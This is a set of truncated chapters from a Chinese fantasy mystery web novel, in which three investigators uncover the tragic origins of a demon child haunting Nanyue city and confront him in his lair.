又至游廊,利用排布紧密的柱子,在其间来回来去地绕圈跑,直把那饕餮累得气喘吁吁,迷迷糊糊地撞到了柱子上。 纵受一身伤,但那饕餮吃他决心深刻,粗气喘停,爆发出一声贯彻几里的怒吼。 喻遥又闻到了身后那饕餮散发出的臭气,一转头,惊诧发现那饕餮已从人型化为凶兽原型。 那凶兽体积巨大,羊身恶面,虎齿利爪,在地上随意一拍,就掀起一层强烈气波。 他迈着大步再度向喻遥追来,这次兽身已不受地形阻碍,直接一脚踩碎眼前房屋,继续追击。 喻遥没命地逃,直到逃到墙边,面前最后一处房屋也被那凶兽踩碎。 他暗道不妙,这次,是真的无路可逃了。 那凶兽饕餮爆发出畅快的得意笑声,抬起利爪就要抓住喻遥。 突然,那墙外传来一阵咯咯咯咯地笑声。 那笑声银铃般清脆不已,透露着一种天真烂漫的稚嫩,应当,是幼童发出的。 但就是这样稚嫩又毫无攻击力的声音,传出后,那狂暴凶兽竟突然停下了爪子。 他晃了晃脑袋,眨了眨眼,鼻孔一出气,要再度朝喻遥抓来。 墙外的笑声愈发响亮了,笑个不停。 那饕餮瞬间收起了爪子,一脸痛苦不堪,忍无可忍,开始拿自己的头往地上撞,半晌,他愤恨不甘地看了一眼喻遥,竟就那么转身逃跑了。 喻遥呆呆地看着饕餮离去的背影,就这般成功死里逃生,一脸不可思议。 墙外笑声仍在持续且越来越近,喻遥看着那墙边拐角,突然,摔进来一个幼童。 接着,后面是好几个幼童,他们应是一伙一同玩闹的小伙伴,后面的几个幼童将摔倒的扶起,递给他一个糖画,道:“喏,给你吃。” 那幼童接过,因摔倒脸上挂的苦相霎时变作一张笑脸。 几个幼童再次一同开心地笑起来。 喻遥不免暗道真是没想到,这残忍狂暴的凶兽,竟会怕这几个幼童的笑声。 但,这又是为什么呢? 晌午日头正高,日光正好,投射下来,照得那幼童手上的糖画泛着光。 喻遥看着看着,突然脑内灵光一现,好似有什么东西一闪而过,意识了什么关键的点。 但他又思忖道,不对啊,就算真的是他此时想的那样,又能如何呢,有的问题,还是没有解决啊? 他正沉思,脑海中就传来了阿宋的心声问他在何处,他想了想,与阿宋约定汇合位置。 半个时辰之后,府衙门口,阿宋远远看到喻遥,当即焦急地迎上去。 她刚在路上,已听喻遥讲述刚才与饕 21. 真相大白 《三界追星图鉴》全本免费阅读 阿冬解释道:“那会儿,我们家还住在萍城,此地,也是黎娘的故乡。” “我记得,她儿子乳名叫双儿,年纪很小。她们来找我父亲看病那年,我不过才八岁,他儿子比我还小,看着也就五六岁的样子。” “我那会儿已经开始跟父亲学习医术,常帮他接待病人,整理病历。我记得,双儿的眼疾是天生的,而且很严重,是几乎不能视物的那种。” “双儿年纪小,因为不能视物也有些自闭,不爱与人说话,平时也只和她交流多一些,黎娘怕他出门遇到危险,所以很少带他出门,就常常把他放在家里。” “听黎娘说,她曾经找过很多大夫看过,都没有什么效果,万幸,我父亲第一次为其诊治就有了些效果,虽然仍是不太能视物,但眼痛的毛病缓解了许多。” “之后她们每隔七日就会来一次,从来没有失约过,但是直到有一段时间,她们突然就不来了,等再出现的时候,看病的就变成了两个人。” “我和我爹娘看着她身上脸上的淤青,当时就明白怎么回事了。萍城不大,小城而已,街坊邻居一传闲话,谁家的事都能知道些,何况,她丈夫打她那事,动静并不小。” “我母亲心疼她,劝说她与她那丈夫绝婚,黎娘却拒绝了,说是如果她真的绝婚了,那么她和双儿就没办法生活了,别说治病,吃饭都很困难。” “那时我家情况还算好,我爹娘就说可以接济她一段时间,让她尽管去说。但她却说,如果真的这样,他那个丈夫一定不会放过她,没准还会来医馆搅和我们的生活,她不能连累别人。” “之后,她谢拒了我们,只讨要了些外伤药,给双儿治疗完,便离开了。” “大概是她苦难生活中唯一的一点光亮吧,双儿在我家治疗了三个月,眼疾已有很大缓解,从原先的几乎完全不能视物,慢慢地,白日天亮时,已经可以看清人的轮廓了,只是会模糊,夜间视物差些。” “但总算有进步,对黎娘也算是莫大的喜讯了。可是后来,悲剧就发生了......” “这事,我们也是后来黎娘进牢狱的时候才知道的。据说那一夜,她丈夫喝多了,又回家打她,打她不算,还发起疯来,觉得双儿,不是他的亲生骨肉。” “黎娘怒极恨极,两人便起了争执,可黎娘一弱女子,哪里比得过一壮年的男疯子,扭打之间,黎娘就被他给打晕过去了。” “那丧心病狂的人,趁黎娘昏迷之际,将双儿带了出去,扔在了街上就独自离开了。” “双儿因为眼疾从小到大几乎没怎么出过门,夜晚又看不清路,慌乱恐惧之间只知道喊自己的娘亲,没有回应,焦急之极就在城里开始摸索乱走,试图找回家的路。” “偏偏那一夜,是萍城的马灯节。” “萍城的马灯节开办在夜里,仪式开始前,每条大街小巷,街边住户都会挂满各式各样的灯笼,仪式开始后,灯笼一起亮起,也算是一道惊艳明亮之景。” “之后便是走马仪式,在灯笼的照耀和两侧人群的簇拥之下。马夫驾着马按照固定的路线游行经过,在马上表演各式各样的杂技。” “那双儿,黑暗的地方他看不清路,自然会向有光的地方走。不知怎的就走到了游行的路线上,节日庆典上人多,府衙没顾得上所有的地方,也没有人拦他。” “或许是敲锣打鼓的声音太大,让马儿受惊了吧,那队伍之中,突然有只马发起疯来,一跃而起后窜跑了出去,鞍上的马夫急拉缰绳也控制不住无头苍蝇般乱跑摇晃的疯马。” “两边的围观群众见状立刻让开,人群一攒动,那双儿不知怎的,就被挤摔倒在了路上。偏偏,那马就跑向了那边。” “撞击后的天旋地转、碾压后的惨叫翻滚,之后,那五岁幼童,此生便再也站不起来了。” “而黎娘她也绝不会想到,醒来之时,自己的儿子,已变成一具冰冷的尸体。” “当真唏嘘,明明她们的日子已经好起来了,偏偏上天又降临了这样的劫难到她们的身上。” “之后,黎娘就崩溃了,恨到极致,她拿着一柄刀就进了她们家的卧房。” “失去儿子的母亲已经无所畏惧,即便明知力量悬殊,她也一定要杀了害死她儿子的人。” “那男人没想到黎娘会真的杀他吧,也没有什么防备,乱刀之下,就被砍死了。之后黎娘就进了牢狱,萍城的府衙念在他丈夫过往的恶行,只判了过失杀人,十多年的刑期。” “后来,我们家就离开萍城了,直到过了很多年,我在南悦,又重新见到了她,但是她好像已经不认识我了,但看起来过得还算安逸,我觉得她应该也不太想回想起以前的事情,况且与她深交的人本就是我爹娘,所以,我就没有再和她打招呼了。” 阿宋三人听后,谁也没有开口,很久很久。 半晌,阿宋道:“可能,她觉得,是因为她的无能,没能在那一夜保护好,她的儿子吧。这么多年来,她应该从来都没有忘记过这件事,甚至已经成为了她的一块心病,所以,即便是违背天道交换命轮,她也想换回自己的孩子吧。” 喻遥道:“但这,终究是不对的,她若真的交换成功,就也变成了害人之人,毕竟,被交换的人没有做错任何事情。” “是啊。”阿宋垂头丧气道:“只能说,人有苦衷,但不能被当作犯错的正当理由吧。” 海猛跟着叹了口气。 郊野偏远,四周山山相连,刮进风来,就跟个回旋一样。 地上枯草沙尘被吹得漫天飞舞,火堆上的火苗被风压倒,直朝一边倾斜,火苗烧得正旺,灯笼放的又近,一不小心就燎到了。 差点误伤了海猛,他登时跳脚起来,迅速脱下外衣,用力扑打才把那火扑灭。 可惜,灯笼是彻底废了。 但好在还用东西残留,海猛从那堆灰烬里夹出未燃尽的蜡烛和烛托,又拿着自己的水壶冲了冲那烛托,把蜡烛插回去,从旁边火盆里借了个火。 蜡烛又燃了起来。 海猛递给阿宋道:“本来想灯笼送给妹子你玩的,现在只剩个烛台和火了,正好天冷,你先拿着暖手吧。” 阿宋接过,把手掌弯起,放在烛火旁挡风,道:“海猛大人你开玩笑吧,就一根蜡烛,这怎么取暖,这么小个火,而且风好大,一吹就灭了。” 话音刚落,一股风过去,那烛火很给面子当即就灭了。 海猛:“......” “呃。”他摸着自己的后脑勺道:“当我没说,当我没说,哈哈。” 喻遥看着阿宋手里拿着的那蜡烛,开始思考她刚说的话。 一根蜡烛...... 取暖...... 对啊,一根蜡烛怎么取暖呢? 但是。 如果是很多根呢? 忽然间,他思绪如电,那一直苦苦追寻而不得的真相钥匙,终于被递到了他面前。 云开雾散,所有不解的谜团,好像都说得清了。 喻遥唇边勾起,道:“我好像知道,是怎么回事了。” 海猛惊讶道:“什么?” 阿宋亦激动道:“你说的是我们的案子吗?” 喻遥点点头,道:“听我慢慢和你们说。” “首先,是魔的身份,起初,我们将案子定义为采花案,自然以为是成年男子所为,这个经后来查证,已确认不实。” “但是直到那日,我看到那几岁小儿手里拿着糖画,我便突然想到,为何这魔,不能是个小孩?试想想,糖画,本就是孩童之物,幼童食用更多。” “其次,还记得黎娘那夜跟那魔说了什么吗?她说‘对不起,都是我害了你,这些年你过得还好吗?’此话,应当黎 22. 魔童现世 《三界追星图鉴》全本免费阅读 夜色融融,弦月如钩,打更的老汉归家之后,街道上便再无一人。 南悦城前阵子下的那场稀奇的雪已渐渐消融,天气再度回归往日温暖。 稀奇的是,有那小巷偏院的门口却放着一个火盆,火势高昂,窜起的火苗随风舞动,仿佛在向人招手欢迎一般。 忽然,那门被从里打开,一个身穿水蓝色长裙的女子走出,探头向街头街尾看了看,仍是寂静无人。 她叹了口气,将那火盆熄灭,从屋内取出一铁夹,将火盆夹起走进了屋,关上门。 进门后便将火盆放到里屋门口的架子上,向卧房走去。 而在她经过之后,她那脚步踏过之地,骤然间便泛起了红光。 她回头望去,那红光微微黯淡些后,地面上现出一个巨大的圆形法阵。 那法阵图案看起来错综复杂,所画咒文,乃是一种招魂咒。 所谓招魂咒,顾名思义,便是可以通过死者的生辰八字将亡者之魂召唤而来的一种咒术。 那女子露出一抹微笑,改变了行进的方向,留在原地坐在椅子上,紧紧地盯着门,仿佛在等待什么,仿佛,她知道,一定会有什么人到来。 不多时,便传来敲门的声音。 蓝裙女子站起走到门前,轻轻问道:“谁呀?” 她虽这样问,脸上却并无疑问神色。 门外先是响起一阵哭声,接着一个怯生生的童音,道:“你、你好,我、我找不到回家的路了,我不知道这里是哪里,外面好黑,我好害怕,可、可以收留我一晚嘛?” 女子没有出声,手却已握在了门把手上,停顿半晌后,那幼童却以为对方不愿开门,又发出一阵不小的啜泣声。 下一秒,门就被打开,一个神情凄楚正在拭泪的红衣幼童身影出现在女子面前。 这红衣幼童全身上下穿戴还算干净整齐,唯一有些奇怪的是,天气并不冷,他的脖颈处却戴着条围巾。 女子关切道:“快进来快进来。”接着便让开条路,让那幼童进入。 那幼童怯生生地冲女子笑笑点点头,走进门。 女子在他身后突道:“小朋友,你不热吗?我帮你把围巾摘掉吧。” 说着就伸出手去。 那幼童反应速度极快,迅速躲开她的手,哭相一收转过来冲她尴尬笑道:“谢、谢谢姐姐,我不热。” 接着又摸了摸肚子,可怜巴巴道:“姐姐,我一天没吃饭了,有点饿,可以给我些吃的嘛?” 女子果断道:“当然可以,你稍等一下。” 语毕她就朝厨房走去。 她刚一走,那幼童脸上可怜的表情瞬间收起,脸色变得阴沉而可怕。 他抬起手放在自己的心口处,下一秒,那地上的法阵似感受到呼应般,与那心口处一同亮起红光。 幼童手掌一收,光芒收束,他再一抬眼,眸中已露出凶光。 他走到厨房,女子刚好拿着碗出来,递给他,冲他歉意笑道:“不好意思啊,家里只有馒头了,但还热着,你先凑合吃,明天早上姐姐去给你买新出锅的馄饨吃好不好?” 幼童静静接过馒头,盯着看了会儿,突然露出个玩味的表情,喃喃道:“可是姐姐,我不喜欢吃馒头诶。” 女子一愣,道:“那你喜欢吃什么?” “我想吃......” 那幼童缓缓抬眼,目露寒光,半阴半阳恶狠狠咆哮道:“你——!” 话音未落,那幼童已双臂展开,一双手瞬间从普通幼童之手,膨胀变成了琥珀色的野兽巨手,朝她扑来。 女子没有任何愣怔惊讶,一改柔弱形象,眸中坚定,身形迅速而稳健,闪避向后猛退一步,身法之快,甚至已出现了重影。 那幼童双眼满是血丝,脸也变成惨白模样,面目狰狞,魔者样貌毕现,袭击未果,冲女子道:“果然,是你召唤我来的。” 女子掐腰,声音清脆活泼,道:“不错,我今天就是要和你清算的。” 魔童眯起眼看她道:“我们见过?”忽然表情一变,道:“是你!” 女子轻笑一声,在原地轻盈一转圈,青丝飘扬,再面对魔童时,已变成另一幅模样。 正是阿宋。 阿宋笑嘻嘻道:“你中计啦。” 魔童面上怒意尽现,咬牙切齿道:“你这个贱人,一而再再而三的欺骗我,我现在就杀了你!” 虽是幼童的身体,却爆发出野兽般强大的怒吼声,全身魔息激荡起身后冒出恐怖的黑色气焰,双眼冒出红光,一手稳准狠地就朝阿宋咽喉处抓去。 阿宋原地不动,却在那魔童即将触到她咽喉之际突然一个闪身,而她那原本什么都没有的身后,随着红光一闪,喻遥瞬间出现。 他一手抓起,正好握住那魔童顷刻间就能将他人脖颈扭断的手腕。 魔童诧异,看清对方后面露惊恐,瞬间意识到自己已落陷阱,手臂发力往回撤。 但喻遥哪里会轻易放他走,借力传力,握着他的手腕,狠狠一扭。 魔童受力全身腾空而起,被其在空中狠狠一翻转后,摔趴在了地上。 却一脸不甘心的恨意,双手一拍地面而起,还没站稳,已经双手嗖嗖嗖朝阿宋喻遥隔空攻出多招。 喻遥和阿宋各自闪避。 魔童深知自己与喻遥实力差距,硬攻必输无疑,再度动起逃跑的想法,伸出手掌,竟从封闭的屋内凭空掀起一股龙卷风。 这龙卷风破坏力极强,犹如野兽吞食般,将屋内物品尽数吸入风中。 强力的风波在其中将双方隔绝开来,让阿宋和喻遥无法靠近他,又恐自己也会如物品般被卷入风中,只好贴住背后墙面,运转灵息稳定住身形。 魔童拖延成功邪恶一笑,双手发力托起,那卷风当即直朝顶棚钻去,伴随着一阵噼里啪啦的碎响声,那“风龙”将房顶直接钻漏出一个大洞,屋顶碎片泥土尽碎,亦被卷入风中。 那魔童身手敏捷地掠向空中,钻入那卷风中心,以一个蔑视的眼神俯视下面的喻遥阿宋,道:“再也不见了,蠢货们!” 接着爆发出一阵一阵咯咯咯的尖锐得意笑声。 阿宋喊道:“别跑!” 刚要追去,那魔童就手朝下一放,那风中所有的瓦砾碎片,家具杂物尽数脱风而出,直朝阿宋袭来。 喻遥双眼金光一闪,从地面一跃而起,冲着挡在阿宋面前,手掌向前伸出,霎时,从他手掌中心弹射出一半弧形的保护罩,挡在二人面前。 所有的攻击物接触到保护罩都尽数被弹回。 魔童在空中冷笑一声,完全不当回事般,化回一团黑气转身就逃。 眼看距离越来越远,喻遥取下耳后金羽,金羽被他握在左手间,上下延伸化为一张金色长弓。 他左手持弓,身形原地一转,右手在弓侧凭空一抓,霎时一支光箭上弓,长臂后撤,瞄准,松手。 那光箭犹如白虹贯日,疾射飞出,穿越长空,目的明确,正中那团黑气。 风暴中心的魔童惨叫一声,却不敢做任何停留,逃跑的速度更快了。 顷刻间,已彻底无踪无际。 喻遥不紧不慢收起长弓化回金羽饰物,别回墨发之上。 阿宋刚要追过去,就被喻遥拦住,道:“莫急,等一等,等那东 23. 双口魔童 《三界追星图鉴》全本免费阅读 海猛当即一脸晦气,道:“谁他妈往人家里放骨灰啊!没人住也不能这样吧,太缺德了!” “不是放的。”喻遥将手里骨灰撒回,扣上盖子,道:“是这间房子,本身就是骨灰房。” 海猛疑惑道:“骨灰房?是啥?” 阿宋一拍手道:“该不会是那种锢术吧?” 喻遥点头,对海猛道:“这锢术是一种很阴损的邪术,通常要结合人的骨灰一起做法才有效果。 使用锢术的人,会先选择一间无人居住的空宅,然后将下术对象的骨灰以符咒封于此间,再以魂锁将所有的出口尽数封闭。” 海猛道:“有什么效果呢?” 喻遥道:“锢术锢术,顾名思义,禁锢之术,一旦术成,被下术的对象,灵魂将永远被束于此地,无法逃脱,甚至于,无法转生,且术法一日不解,外界就无法进入此间,也就是说,他将永远以孤魂野鬼之身留于世间。” 海猛有点被吓到了,道:“这多大仇多大恨啊,干嘛给人弄成这样。” 阿宋道:“诶?不对啊,但是我们进来了啊。” “那是因为,这锢术已被破解。” 喻遥看着两人道:“这骨灰的主人,已经成了魔,成魔之后将这锢术打破了。” 阿宋和海猛一同倒吸口凉气,阿宋不敢相信道:“难道这骨灰的主人......” 喻遥道:“这骨灰的主人,正是那魔童。” 海猛道:“这、这、这难怪人家要成魔,这给人弄成这个鬼样子,怎么能不疯啊!” 喻遥将那骨灰放到一边桌子上,看了眼安静的周围,道:“我们尽快找到他吧,也许他会亲口告诉我们,这锢术因何而下。” 三人向里屋走去,发现,这所有的屋子里只有一间屋子,和其他房间不太一样。 他里面放置的不是床,而是土炕。 而且,在这荒芜多日的宅子里,这张炕的炕洞之内,此时居然还燃着生机勃勃的火焰。 三人走到炕床边,一同蹲下,围着那燃烧的炕洞看。 喻遥闭眼感应,又睁开,道:“此处,是魔息最为充盈之地。” 那燃烧的炕洞内火焰烧的极盛,里面似放满了干草与柴火,燃烧物的味道混合着泥土的味道飘散出来。热气腾腾,烤的人脸有些发烫。 喻遥想了想,缓缓抬起手,向那炕洞伸去。 却在即将触碰到烈火的瞬间,手腕被人狠狠握住。 转头,阿宋一脸担心地看着他,急道:“大人你在干嘛?!这火烧的这么旺,小心受伤!” 喻遥看她担忧的眉头皱起,牵起一个让人安心的笑,道:“别担心,我只是尝试一下,看看这个是不是迷惑用的法阵,而且,就算是真火,也没关系,我是魂体,属阴,不怕火灼。” 接着他用另一只手轻轻拨开阿宋的手,坚定地将手伸入炕洞。 火光一闪,那炕洞内仿佛有人猛拽了他一把,还没等他反应过来,喻遥整个人就被那炕洞吸了进去! “大人!” “喂老鬼!” 阿宋和海猛一同着急喊道。 阿宋看着那炕洞犹豫了一瞬,下一瞬,她毫不犹豫地将自己的手也伸入那炕洞。 又是火光一闪,阿宋也消失了。 海猛被两下火燎的直恍惚,看了眼空无一人的身侧,咬咬牙。 妈的不管了! 也将自己的手伸入炕洞,火光再度一闪,海猛感受到了一股强劲拉力,接着自己就被拽了进去。 强光吞噬了他,海猛宛如经过了一条漫长又刺眼的隧道,根本睁不开眼。 等再睁开眼的时候,自己已经摔在了地上,趴在地上一只眼试探性的睁开。 阿宋正弯着腰和头看他,笑道:“海猛大人,可以起来了。” 他这才反应过来自己此时的姿势跟个狗似的,立刻站起,咳嗽一声道:“那个,这里......” 阿宋接话道:“这里才是那魔童的老巢,刚才的炕洞之火是假象,是移动的法阵。” 海猛大开眼界,道:“原来如此。” 喻遥道:“走吧。” 三人继续行进,细瞧周围地形,发现此地乃是一个山洞,洞内幽暗,看不清路。 所幸在地上捡到了一个灯笼,海猛用火折子给点了,勉强能照亮前路。 走了很长一段,地方宽敞了很多,似到了一块方形空地,而且,前方终于有光了。 并且,飘来了一阵食物的香气。 阿宋拱拱鼻子闻道,奇怪道:“怎么这魔童还给自己做上饭了?好像煮的是粥。” 顺着食物香气飘来的方向,三人试探性慢慢靠近。 突然,听到前路有人骂道:“他娘的个小崽子,还要老子给那个人族婆娘做饭!妈了个巴的,老子迟早让他知道谁才是爹!” 这毫无素质的骂声,异常熟悉。 喻遥突然想到什么,超越其他二人,快步前去拐进那发声之人待的地方。 那屋内之人,正拿着扇子对那灶台狂扇风,突然看到有人闪现在自己面前,吓得我操一声。 再一看清喻遥样貌道:“我操了,怎么在这都能偶遇你!” 这人,正是饕餮,只是他没了那日的威风凛凛,反而一脸狼狈,穿着件不合身份的围裙不说,脸上还一脸烧火留下的煤灰,活像个大煤球。 阿宋和海猛追随而来,在其身后停下。 看到饕餮,海猛疑惑道:“诶?不是小孩吗,怎么这会儿就长这么大了!” “......” 喻遥无语,道:“有没有可能,这个不是那个魔童。” 海猛反应过来,挠头笑道:“哦哦哦,不好意思不好意思,没反应过来,那这是谁?” 喻遥道:“凶兽饕餮。” 阿宋道:“就是那天要吃你的那个?!” 喻遥道:“正是。” 他朝饕餮问到:“你怎么在这?” “什么我怎么在这!”饕餮站起来,一把将扇子扔在地上,踩在脚下,又一脚踩在灶台上,握拳拇指一指自己,道:“这他娘的是老子地盘!” 何其嚣张! “哦?你的地盘?”喻遥轻笑一声道:“我不信,我看你明明是困于此地,你莫非,是受那魔童所控?” 又恍然大悟道:“我知道了!难怪那日,你听到小儿笑声便跑,看来你在那魔童手底下没少吃亏,对他的笑声,都有心理阴影了!” “你闭嘴!”被戳穿,饕餮怒不可遏道:“好啊,既然又见面了,那就说明老天注定要你进我的肚子。” 他咧开嘴,以人型之态却露出野兽獠牙,道:“我这就吃了你!” 咆哮间,他就扑向喻遥。 喻遥一拳击在他小腹之上,气力之足,直把他打的双目突出,向后摔去。 他还没彻底摔倒,喻遥已经又闪身到他身后,照着他后背狠踹上一脚,直把那饕餮踹的摔了个狗啃屎。 那饕餮刚从地上转过身,喻遥就已经闪身到他身侧,将金羽 24. 深仇大恨 《三界追星图鉴》全本免费阅读 那黑舌看着又长又滑,且具有弹性和柔软度,宛如一条体型庞大的蟒蛇。 喻遥以金羽长剑迎击,却铮地一声被那长舌发出的巨力弹开。 阿宋跟上,身型一掠而起,直接落于那长舌之上,拿出腰间匕首,半蹲下身子向下发狠一刺。 那黑舌登时一阵颤抖,同时,也引发了更剧烈的晃动,一翻,就将阿宋缠卷住。 喻遥当即色变,拿着长剑再度跃起,直接将长剑刺入那长舌软肉之中。 刚要再击,身后就传来声音,匆忙转身,那魔童本体已向他袭来。 他急忙接招,与其缠斗在一起。 海猛在旁边看得焦急地原地跺脚,拿着手里的长枪却不敢随意出手,因为喻遥与那魔童的缠斗身影实在迅疾,他一人族肉眼看得眼花缭乱,若轻易下手,攻击敌人不能,恐还会误伤队友。 而另一边那舌头似铁了心要这般挤死阿宋,已开始慢慢发力。 海猛一跺脚,拿着长枪冲上前去,开始不断地刺向那长舌。 阿宋被卷于那坑坑洼洼,还留着黏液的舌间,只觉得一阵恐惧又恶心至极。 手中匕首已在刚才被晃掉,眼看事态紧急,自己就要被挤成狐狸干,既然灵息低微无法助其脱身,不如转用己身的天生巨力帮助脱困。 她忍着恶心,双手勉强抽出,扒着那舌头就往两侧撕扯。 力气果然有用,她与长舌间竟慢慢出现了些空隙。 一抬眼看到海猛在旁边正在狂刺这邪舌,阿宋心中动念,冲他大喊道:“海猛大人,你帮我一下!” 指着自己胸前,道:“刺这里!刺我胸前这的舌肉!” 海猛立刻应声,拿着长枪一击刺中,而阿宋看准时机,在那邪舌被刺中发出颤抖的瞬间,她爆发出全身的气力两手狠厉一扯,竟将那舌头生生扯到断裂! 而她借此空档机会,从那舌头中一跃而出! 海猛接住她的胳膊,道:“没事吧你妹子!” 阿宋摇首,低头一脸嫌弃地看自己身上留下的黏液,道:“就是衣服脏了点。” 另一边,喻遥见旁边阿宋已脱离困境,不与魔童多作缠斗,一剑挥出,便跃回二人身边。 喻遥道:“没事吧?” 阿宋摇摇头示意无事。 那魔童收回受伤的舌头,阿宋冲他道:“你这什么恶心的鬼东西?” 魔童冷笑道:“恶心?这可是那贱人留给我的呢。” 阿宋疑惑道:“贱人?他在说谁?” 海猛小声道:“呃,我想,如果传闻没错的话,他说的应该是他的生母。” 阿宋道:“啊?” 海猛在统计南悦城冻灾亡者数据的时候,发现了这魔童的信息。 这魔童原名江仇,出生在一百多年前的南悦城,一个无父有母的单亲家庭里。 但他母亲那人,堪称一言难尽...... 传闻中,他母亲丧夫之后,便一个人带他生活,起初倒还算生活如常,后来,江仇七岁的时候,她遇到了一个外来男子。 男子样貌俊朗,又花言巧语,相处不过多日便将他母亲哄动了心,二人很快陷入缠绵,男子也入住了她家。 但这男子却对江仇十分厌恶,甚至是充满敌意,他哄得江仇母亲整日里围绕着自己转,不管不顾自己的亲生儿子。 江仇年纪虽小,但心计却不少,日日相处下来,他总觉得这男子看着就不像什么好东西,偷偷跟母亲讲了,没获得认同反而挨了一顿打。 那会儿男子住在他家,每隔半个月就要离城一趟,几天才回来。 江仇觉得其中必定有鬼,便有一次偷偷跟踪男子出了城,结果却意外发现了男子的秘密。 他的秘密,便是他其实已是有妇之夫,甚至已经有了自己的孩子。 江仇怒不可遏,但自知他一幼童在人家的地盘上定是斗不过,便立刻跑回家跟自己母亲尽数吐露,只希望母亲能赶紧认清渣男,悬崖勒马。 未料,她母亲竟早就知道此事。 又或者说,她起初不知此事,是后来才知道的。 七岁幼童都会有所怀疑的事情,性情敏感的女子又怎么会不怀疑,在她发现此事之后,第一时间便与那男子摊牌,未料那男子当场给她跪下,说与现在的妻子成婚只是父母一手操办,不得已而为之,他们之间毫无情意,他对江仇母亲才是真心实意,并且当场发誓,一定会与现在的妻子和离,与她在一起。 过于痴情的女子,总是容易不受控制地做下一些糊涂事。 男人说的谎话,狗都不信,她偏偏就信了,不仅信了,还越发沉沦其中。 江仇母亲被那男子哄得什么话都与他说,所以很快,那江仇告密之事也被男子知道,男子本就厌恶于他,知道此事,更是对他言行恶劣,常在家中对他拳打脚踢。 那时,他二人在房内幽会之时,常将江仇赶出家门,不允许他在家待着。 江仇自然也没兴趣旁听他们的烂事,可是,那一天不一样。 那一天,南悦城气温骤降,下起了千年难遇的一场大雪,江仇在家中连一口热乎饭都没吃上,顶着被男人打肿的一张脸,只穿着单衣就被赶了出来。 风雪肆虐,万籁俱寂。 大雪纷纷扬扬,冷风肆意狂吹,短短时间里,整个南悦城就被暴雪霸占,连路都被封住了,天地间除了白色再也看不到其他。 江仇衣着单薄,置身于风雪间,反反复复地拍着自己家的门,里面的人却毫无应声。 比天气更让人心寒的是亲生母亲的冷漠,江仇冻得嘴唇脸上发青,浑身钻心疼痛。从裤兜里意外发现了一个火折子,那是他唯一取暖的东西。 他将手放在旁边,挡住风雪,却没什么用,很快,一阵冷风吹过。 那火折子,就绝望地灭掉了。 那七岁幼童的生命,终究是停在了那场暴雪之夜里。 回到现实,阿宋惊讶道:“那锢术又是怎么回事?” 那魔童在旁边一直听着,突然道:“那锢术,正是要拜那贱男人所赐!” 原来,江仇死后,男子认为他是横死的,死后必将化为恶鬼来找他们的麻烦,便哄骗他母亲,将其烧成骨灰之后,又请来道士做法,以锢术将其魂体封印在此,永生永世不得出,不能去找他们的麻烦。 魔童愤恨道:“如果......如果不是那个狗男人,我会死?如果不是那个狗男人,我会被封在这个地方五十多年出不去!” 喻遥道:“既然如此,你为什么不去找那个男的报仇,反而杀那么多无辜的女人?” 魔童道:“你以为我没有去找他?那个狗男人烂黄瓜,心眼子坏的很,用他妈的那个什么锢术把我害成那样,我成魔解开之后,第一件事就是去找他。” “他居然还认得我,哈哈哈,你们没有看到他死前那个求饶的样子,连狗都不如,但是没有用的,我一定会杀了他,而且,绝不会让他死的那么容易。” “我将他扔进了毒蛇堆里,我要他承受毒物侵蚀大脑的痛苦,再将他扔进冰窟窿里活活冻死,要他体会和我一样的痛不欲生。” 魔童嘻嘻笑道:“而且,我早知道他是哄骗那个贱人,他怎么可能会和他那个原配老婆绝婚?不仅没绝婚,他们还有孩子,还有了孙子!他们害我至此,居然还妄想三世同堂?” 他眼里冒着兴奋的光,道:“哈哈哈,既然如此,那你们就一起死吧!之后,我便 25. 难以自拔 《三界追星图鉴》全本免费阅读 阿宋和魔童同时身型展动,却因距离被那魔童抢先掠至黎娘身侧。 他一手扼在黎娘咽喉处,朝对面的阿宋她们斥声道:“别动!再动我杀了她!” 阿宋登时抬起双手,一边后退,一边安抚道:“好、好,我们不动,你也不要动。” 黎娘人虽落入魔者手中,却看不出一丝慌乱,她似乎并没有注意到对面的阿宋他们,被挟持着还一直回头看那魔童,道:“双儿,你怎么了?” 魔童皱起眉头,小声道:“你他妈闭嘴!” 阿宋看黎娘没有一点身为人质的意识,就跟疯魔了般一直喊那魔童双儿,当真怕她哪下激怒了对方,直接被其拧断脖子。 但她突然意识到一个问题,她看了看那魔童和黎娘的脸,居然觉得有些相似。 莫非,那魔童此刻幻化出的是黎娘儿子的脸?一直在诓骗黎娘? 想到此处,她刚想提醒,旁边海猛就已大声道:“黎娘啊,他不是你儿子,他是只魔,用你儿子的脸假扮的魔!” 黎娘立刻道:“你胡说!他就是我儿子!” 说着,还转过头用手摸了摸那魔童的头。 海猛和阿宋一齐掐了掐自己眉心,暗道:哎,真是没救了! 那魔童表情缓和了点,对上黎娘的眼睛却又偏过头,眼里流露些许不舍的情绪。 眨了眨眼,又收起表情又露出凶煞之意,对其他人道:“你们仨现在都不许靠近。” 他抬起下巴冲阿宋和喻遥仰仰头,道:“特别是你们俩,现在就把灵息封住!” 阿宋和喻遥丝毫不动。 “不想动?好啊,那我就......” 他说着话,手在黎娘脖颈上掐得更深了些许,黎娘雪白的脖颈霎时就被他那黑色长甲划破,流出血来。 阿宋急忙道:“等等,我们封,现在就封!” 她将手指握成拳,又伸出拇指在自己的胸口一戳,在胸前画了几下。 她周身灵息的蓝色光晕渐渐黯淡下去,直到最后消失。 她一扭头,旁边的喻遥却仍是丝毫不动,只瞪着眼睛看那魔童。 阿宋小心翼翼地看了眼魔童的脸色,又轻轻拉他的衣袖示意他快些动手。 喻遥依旧没有反应。 以为他又开始犯倔,阿宋忙小声道:“大人,我们先稳住他,保住黎娘的命,再说其他。” 海猛也在旁边劝道:“是啊老鬼!忍一时风平浪静,退一步海阔天空啊!” 半晌,喻遥突然嗤笑一声。 魔童怒道:“你笑什么?” 喻遥看着他,眼里完全没有因为有人被挟持而产生的慌张之意,那是一种因为力量悬殊,上位者对下位者自然而然产生的轻蔑情绪,他冷冷道:“你要杀她?” 魔童一愣,道:“怎么,你不封吗?她的命你不想要了?” 喻遥道:“我这个人,不喜欢被人威胁。” 魔童道:“但你此刻却不得不被人威胁。” “那可不一定哦。”喻遥笑眯眯道:“如果,你面前这个女人死了,那么我就不会再受人威胁了,你说对不对?” 意识到他话中深意,魔童面色一凛。 下一刻,不等他反应过来,喻遥已从手中掷出金羽飞向黎娘的心口处。 周围人俱是一惊,没有人看到他是什么时候将金羽摸在手中的! 黎娘眼见那金羽镖直朝自己胸口而来,速度之快,此时闪避也已来不及,只能下意识紧闭双眼。 